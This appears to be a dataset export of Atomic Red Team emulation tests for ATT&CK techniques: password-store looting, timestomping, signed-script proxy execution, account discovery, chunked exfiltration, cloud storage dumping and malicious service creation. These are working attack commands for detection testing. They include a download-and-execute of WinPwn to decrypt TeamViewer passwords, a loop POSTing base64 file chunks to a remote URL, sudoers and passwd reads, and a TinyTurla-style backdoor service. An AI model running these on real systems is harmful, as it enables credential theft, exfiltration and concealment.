deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1555: Credentials from Password Stores
Test: WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords
Platforms: windows
Executor: powershell

Description:
Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
decryptteamviewer -consoleoutput -noninteractive
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: Set a file's access timestamp
Platforms: linux, macos
Executor: sh

Description:
Stomps on the access timestamp of a file


Command:
touch -a -t[PII_REDACTED]00.00 #{target_filename}


Cleanup:
rm -f #{target_filename}


Dependencies:
The file must exist in order to be timestomped
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: Set a file's modification timestamp
Platforms: linux, macos
Executor: sh

Description:
Stomps on the modification timestamp of a file


Command:
touch -m -t[PII_REDACTED]00.00 #{target_filename}


Cleanup:
rm -f #{target_filename}


Dependencies:
The file must exist in order to be timestomped
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: Set a file's creation timestamp
Platforms: linux, macos
Executor: sh

Description:
Stomps on the create timestamp of a file

Setting the creation timestamp requires changing the system clock and reverting.
Sudo or root privileges are required to change date. Use with caution.


Command:
NOW=$(date +%m%d%H%M%Y)
date[PII_REDACTED]71
touch #{target_filename}
date "$NOW"
stat #{target_filename}


Cleanup:
rm -f #{target_filename}
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: Modify file timestamps using reference file
Platforms: linux, macos
Executor: sh

Description:
Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.

This technique was used by the threat actor Rocke during the compromise of Linux web servers.


Command:
touch #{target_file_path}
touch -acmr #{reference_file_path} #{target_file_path}


Cleanup:
rm -f #{target_file_path}
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: Windows - Modify file creation timestamp with PowerShell
Platforms: windows
Executor: powershell

Description:
Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.
To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.


Command:
Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}" }


Dependencies:
A file must exist at the path (#{file_path}) to change the creation time on
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: Windows - Modify file last modified timestamp with PowerShell
Platforms: windows
Executor: powershell

Description:
Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.
To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.


Command:
Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}" }


Dependencies:
A file must exist at the path (#{file_path}) to change the modified time on
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: Windows - Modify file last access timestamp with PowerShell
Platforms: windows
Executor: powershell

Description:
Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.
To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.


Command:
Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}" }


Dependencies:
A file must exist at the path ("#{file_path}") to change the last access time on
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: Windows - Timestomp a File
Platforms: windows
Executor: powershell

Description:
Timestomp kxwn.lock.

Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. 

[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)


Command:
import-module "#{file_path}\timestomp.ps1"
timestomp -dest "#{file_path}\kxwn.lock"


Dependencies:
timestomp.ps1 must be present in #{file_path}.

kxwn.lock must be present in #{file_path}.
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: MacOS - Timestomp Date Modified
Platforms: macos
Executor: sh

Description:
Stomps on the modification timestamp of a file using MacOS's SetFile utility


Command:
SetFile -m #{target_date} #{target_filename}


Cleanup:
rm -f #{target_filename}


Dependencies:
The file must exist in order to be timestomped
Atomic Red Team — T1070.006: Indicator Removal on Host: Timestomp
Test: Event Log Manipulations- Time slipping via Powershell
Platforms: windows
Executor: powershell

Description:
Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. 
Reference - 
https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4

Command:
try{ 
  Set-Date -Date (Get-Date).AddDays(#{days_to_modify})
  Add-Content "$env:APPDATA\slipDays.bak" #{days_to_modify}
}
catch {exit 1}


Cleanup:
if(Test-Path "$env:APPDATA\slipDays.bak" ){
  foreach($line in (get-content $env:APPDATA\slipDays.bak)){
    Set-Date -Date (Get-Date).AddDays(-$line)
  }
  rm "$env:APPDATA\slipDays.bak"
}
# T1216 - Signed Script Proxy Execution

## Description from ATT&CK

> Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)

[Source](https://attack.mitre.org/techniques/T1216)

## Atomic Tests

- [Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution](#atomic-test-1-syncappvpublishingserver-signed-script-powershell-command-execution)
- [Atomic Test #2: manage-bde.wsf Signed Script Command Execution](#atomic-test-2-manage-bdewsf-signed-script-command-execution)

### Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution

Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.
Upon execution, calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** `275d963d-3f36-476c-8bef-a2a3960ee6eb`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| command_to_execute | A PowerShell command to execute. | string | Start-Process calc|

#### Attack Commands: Run with `command_prompt`!

```cmd
C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}"
```

### Atomic Test #2: manage-bde.wsf Signed Script Command Execution

Executes the signed manage-bde.wsf script with options to execute an arbitrary command.

**Supported Platforms:** Windows

**auto_generated_guid:** `2a8f2d3c-3dec-4262-99dd-150cb2a4d63a`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| command_to_execute | A command to execute. | path | %windir%&#92;System32&#92;calc.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
set comspec=#{command_to_execute}
cscript %windir%\System32\manage-bde.wsf
```

#### Cleanup Commands

```cmd
set comspec=%windir%\System32\cmd.exe
```
Atomic Red Team — T1216: Signed Script Proxy Execution
Test: SyncAppvPublishingServer Signed Script PowerShell Command Execution
Platforms: windows
Executor: command_prompt

Description:
Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.
Upon execution, calc.exe will be launched.


Command:
C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}"
Atomic Red Team — T1216: Signed Script Proxy Execution
Test: manage-bde.wsf Signed Script Command Execution
Platforms: windows
Executor: command_prompt

Description:
Executes the signed manage-bde.wsf script with options to execute an arbitrary command.


Command:
set comspec=#{command_to_execute}
cscript %windir%\System32\manage-bde.wsf


Cleanup:
set comspec=%windir%\System32\cmd.exe
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: Enumerate all accounts (Local)
Platforms: linux
Executor: sh

Description:
Enumerate all accounts by copying /etc/passwd to another file


Command:
cat /etc/passwd > #{output_file}
cat #{output_file}


Cleanup:
rm -f #{output_file}
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: View sudoers access
Platforms: linux, macos
Executor: sh

Description:
(requires root)


Command:
if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi;
if [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi;
cat #{output_file}


Cleanup:
rm -f #{output_file}
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: View accounts with UID 0
Platforms: linux, macos
Executor: sh

Description:
View accounts with UID 0


Command:
grep 'x:0:' /etc/passwd > #{output_file}
grep '*:0:' /etc/passwd >> #{output_file}
cat #{output_file} 2>/dev/null


Cleanup:
rm -f #{output_file} 2>/dev/null
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: List opened files by user
Platforms: linux, macos
Executor: sh

Description:
List opened files by user


Command:
username=$(id -u -n) && lsof -u $username


Dependencies:
check if lsof exists
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: Show if a user account has ever logged in remotely
Platforms: linux
Executor: sh

Description:
Show if a user account has ever logged in remotely


Command:
[ "$(uname)" = 'FreeBSD' ] && cmd="lastlogin" || cmd="lastlog" 
$cmd > #{output_file}
cat #{output_file}


Cleanup:
rm -f #{output_file}


Dependencies:
Check if lastlog command exists on the machine
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: Enumerate users and groups
Platforms: linux, macos
Executor: sh

Description:
Utilize groups and id to enumerate users and groups


Command:
groups
id
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: Enumerate users and groups
Platforms: macos
Executor: sh

Description:
Utilize local utilities to enumerate users and groups


Command:
dscl . list /Groups
dscl . list /Users
dscl . list /Users | grep -v '_'
dscacheutil -q group
dscacheutil -q user
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: Enumerate all accounts on Windows (Local)
Platforms: windows
Executor: command_prompt

Description:
Enumerate all accounts
Upon execution, multiple enumeration commands will be run and their output displayed in the PowerShell session


Command:
net user
dir c:\Users\
cmdkey.exe /list
net localgroup "Users"
net localgroup
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: Enumerate all accounts via PowerShell (Local)
Platforms: windows
Executor: powershell

Description:
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.


Command:
net user
get-localuser
get-localgroupmember -group Users
cmdkey.exe /list
ls C:/Users
get-childitem C:\Users\
dir C:\Users\
get-localgroup
net localgroup
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: Enumerate logged on users via CMD (Local)
Platforms: windows
Executor: command_prompt

Description:
Enumerate logged on users. Upon execution, logged on users will be displayed.


Command:
query user
Atomic Red Team — T1087.001: Account Discovery: Local Account
Test: ESXi - Local Account Discovery via ESXCLI
Platforms: windows
Executor: command_prompt

Description:
An adversary can use ESXCLI to enumerate a list of all local accounts on an ESXi host.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/esxcli/#account%20enumeration)"


Command:
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli system account list"


Dependencies:
Check if we have plink
# T1030 - Data Transfer Size Limits

## Description from ATT&CK

> An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

[Source](https://attack.mitre.org/techniques/T1030)

## Atomic Tests

- [Atomic Test #1: Data Transfer Size Limits](#atomic-test-1-data-transfer-size-limits)
- [Atomic Test #2: Network-Based Data Transfer in Small Chunks](#atomic-test-2-network-based-data-transfer-in-small-chunks)

### Atomic Test #1: Data Transfer Size Limits

Take a file/directory, split it into 5Mb chunks

**Supported Platforms:** macOS, Linux

**auto_generated_guid:** `ab936c51-10f4-46ce-9144-e02137b2016a`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_name | File name | path | T1030_urandom|
| folder_path | Path where the test creates artifacts | path | /tmp/T1030|

#### Attack Commands: Run with `sh`!

```sh
cd #{folder_path}; split -b 5000000 #{file_name}
ls -l #{folder_path}
```

#### Cleanup Commands

```sh
if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path}; fi;
```

#### Dependencies: Run with `sh`!

##### Description: The file must exist for the test to run.

###### Check Prereq Commands

```sh
if [ ! -f #{folder_path}/#{file_name} ]; then exit 1; else exit 0; fi;
```

###### Get Prereq Commands

```sh
if [ ! -d #{folder_path} ]; then mkdir -p #{folder_path}; touch #{folder_path}/safe_to_delete; fi; dd if=/dev/urandom of=#{folder_path}/#{file_name} bs=25000000 count=1
```

### Atomic Test #2: Network-Based Data Transfer in Small Chunks

Simulate transferring data over a network in small chunks to evade detection.

**Supported Platforms:** Windows

**auto_generated_guid:** `f0287b58-f4bc-40f6-87eb-692e126e7f8f`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| source_file_path | Path to the source file to transfer. | path | [User specified]|
| destination_url | URL of the destination server. | url | http://example.com|
| chunk_size | Size of each data chunk (in KB). | integer | 1024|

#### Attack Commands: Run with `powershell`!

```powershell
$file = [System.IO.File]::OpenRead(#{source_file_path})
$chunkSize = #{chunk_size} * 1KB
$buffer = New-Object Byte[] $chunkSize

while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {
    $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)
    Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk
}
$file.Close()
```
Atomic Red Team — T1030: Data Transfer Size Limits
Test: Data Transfer Size Limits
Platforms: macos, linux
Executor: sh

Description:
Take a file/directory, split it into 5Mb chunks


Command:
cd #{folder_path}; split -b 5000000 #{file_name}
ls -l #{folder_path}


Cleanup:
if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path}; fi;


Dependencies:
The file must exist for the test to run.
Atomic Red Team — T1030: Data Transfer Size Limits
Test: Network-Based Data Transfer in Small Chunks
Platforms: windows
Executor: powershell

Description:
Simulate transferring data over a network in small chunks to evade detection.

Command:
$file = [System.IO.File]::OpenRead(#{source_file_path})
$chunkSize = #{chunk_size} * 1KB
$buffer = New-Object Byte[] $chunkSize

while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {
    $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)
    Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk
}
$file.Close()
Atomic Red Team — T1530: Data from Cloud Storage Object
Test: AWS - Scan for Anonymous Access to S3
Platforms: iaas:aws
Executor: sh

Description:
Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder. 


Command:
aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name}


Cleanup:
aws s3 rb s3://#{s3_bucket_name} --force 
rm -rf /tmp/#{s3_bucket_name}


Dependencies:
Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1530: Data from Cloud Storage Object
Test: Azure - Dump Azure Storage Account Objects via Azure CLI
Platforms: iaas:azure
Executor: powershell

Description:
This test dumps the content of the storage account objects present in the file defined in file_shares_csv_file_path. Note that this file is created in the atomic test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". When created manually, it must contain the columns "ResourceGroup","StorageAccountName", "FileShareName", "ContainerName", "BlobName".

Requirements:
    - The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
    - The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.

Command:
$storage_account_objects = Import-Csv -Path "#{storage_account_objects_csv_file_path}"

# Login to Azure
az login

if (-not (Test-Path -Path "#{output_folder}")) {
    New-Item -ItemType Directory -Path "#{output_folder}"
}

foreach ($row in $storage_account_objects) {
    
    if ($row.FileShareName -ne ""){
        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query "allowSharedKeyAccess"

        if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
            Write-Output "Shared key access is disabled for this storage account."
        } else {
            Write-Output "Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ..."
   

Cleanup:
Remove-Item -Path "#{output_folder}" -Recurse -Force -erroraction silentlycontinue
Write-Output "Removed #{output_folder}"

Dependencies:
Azure CLI must be installed
Atomic Red Team — T1543.003: Create or Modify System Process: Windows Service
Test: Modify Fax service to run PowerShell
Platforms: windows
Executor: command_prompt

Description:
This test will temporarily modify the service Fax by changing the binPath to PowerShell
and will then revert the binPath change, restoring Fax to its original state.
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.


Command:
sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start #{service_name}


Cleanup:
sc config #{service_name} binPath= "#{service_binpath}" >nul 2>&1
Atomic Red Team — T1543.003: Create or Modify System Process: Windows Service
Test: Service Installation CMD
Platforms: windows
Executor: command_prompt

Description:
Download an executable from github and start it as a service.
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.


Command:
sc.exe create #{service_name} binPath= "#{binary_path}" start=#{startup_type}  type=#{service_type}
sc.exe start #{service_name}


Cleanup:
sc.exe stop #{service_name} >nul 2>&1
sc.exe delete #{service_name} >nul 2>&1


Dependencies:
Service binary must exist on disk at specified location (#{binary_path})
Atomic Red Team — T1543.003: Create or Modify System Process: Windows Service
Test: Service Installation PowerShell
Platforms: windows
Executor: powershell

Description:
Installs A Local Service via PowerShell.
Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.


Command:
New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
Start-Service -Name "#{service_name}"


Cleanup:
Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
catch {}


Dependencies:
Service binary must exist on disk at specified location (#{binary_path})
Atomic Red Team — T1543.003: Create or Modify System Process: Windows Service
Test: TinyTurla backdoor service w64time
Platforms: windows
Executor: command_prompt

Description:
It's running Dll as service to emulate the TinyTurla backdoor

[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)


Command:
copy "#{dllfilename}" %systemroot%\system32\
sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
sc start W64Time

Cleanup:
sc stop W64Time
sc.exe delete W64Time
del %systemroot%\system32\w64time.dll
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
Atomic Red Team — T1543.003: Create or Modify System Process: Windows Service
Test: Remote Service Installation CMD
Platforms: windows
Executor: command_prompt

Description:
Download an executable from github and start it as a service on a remote endpoint
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.


Command:
sc.exe \\#{remote_host} create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type}
sc.exe \\#{remote_host} start #{service_name}


Cleanup:
sc.exe \\#{remote_host} stop #{service_name} >nul 2>&1
sc.exe \\#{remote_host} delete #{service_name} >nul 2>&1


Dependencies:
Service binary must exist on disk at specified location (#{binary_path})
Atomic Red Team — T1543.003: Create or Modify System Process: Windows Service
Test: Modify Service to Run Arbitrary Binary (Powershell)
Platforms: windows
Executor: powershell

Description:
This test will use PowerShell to temporarily modify a service to run an arbitrary executable by changing its binary path and will then revert the binary path change, restoring the service to its original state.
This technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse function. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)


Command:
Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null
set-servicebinarypath -name "#{service_name}" -path "#{new_bin_path}"
start-service -Name "#{service_name}" -erroraction silentlycontinue | out-null

Cleanup:
Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null
set-servicebinarypath -name "#{service_name}" -path "#{original_bin_path}" -erroraction silentlycontinue | out-null